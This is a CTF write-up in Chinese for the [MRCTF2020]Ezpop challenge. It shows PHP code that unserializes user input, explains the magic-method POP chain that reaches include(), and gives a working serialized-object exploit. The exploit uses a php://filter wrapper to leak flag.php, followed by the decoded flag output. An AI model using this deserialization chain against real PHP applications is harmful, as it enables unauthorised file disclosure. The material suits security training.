https://buuoj.cn/challenges#[MRCTF2020]Ezpop
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
POP链
include($value)<-Modifier::append()<-Modifier::__invoke()<-Test::__get()<-Show::__toString()<-Show::__wakeup()
根据题目信息知道flag.php
在当前目录,而整个题目只有include($value)
是有办法通过php伪协议读取到flag.php
,从Modifier::append()
反推。Modifier::__invoke()
会调用Modifier::append()
,而Modifier::__invoke()
的触发条件是把实例对象当作方法调用。很明显,如果把实例对象赋给Test::p
时,Test::__get()
会触发Modifier::__invoke()
。
Test::__get()
的触发条件是调用不可访问的属性或者方法,能做到的只有Show::__toString()
,只需要$this->str=new Test()
,即可触发Test::__get()
。而Test::__toString()
的触发条件这里只有preg_match()
,Test::__construct()
限定了形参为字符型,如果Show::__construct($file)
可以传对象,echo 'Welcome to '.$this->source."<br>";
应该也会触发Show::__toString
。
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$show = new Show();
$show->source = new Show();
$show->source->str = new Test();
$show->source->str->p = new Modifier();
echo urlencode(serialize($show));
?>
PS C:\Users\Administrator\Desktop> php -r "var_dump(base64_decode('PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2VmMmVjOWE3LWI3YjUtNGVhYy04MWMwLTU1NjJlN2ExODUwZn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+'));"
Command line code:1:
string(114) "<?php
class Flag{
private $flag= "flag{ef2ec9a7-b7b5-4eac-81c0-5562e7a1850f}";
}
echo "Help Me Find FLAG!";
?>"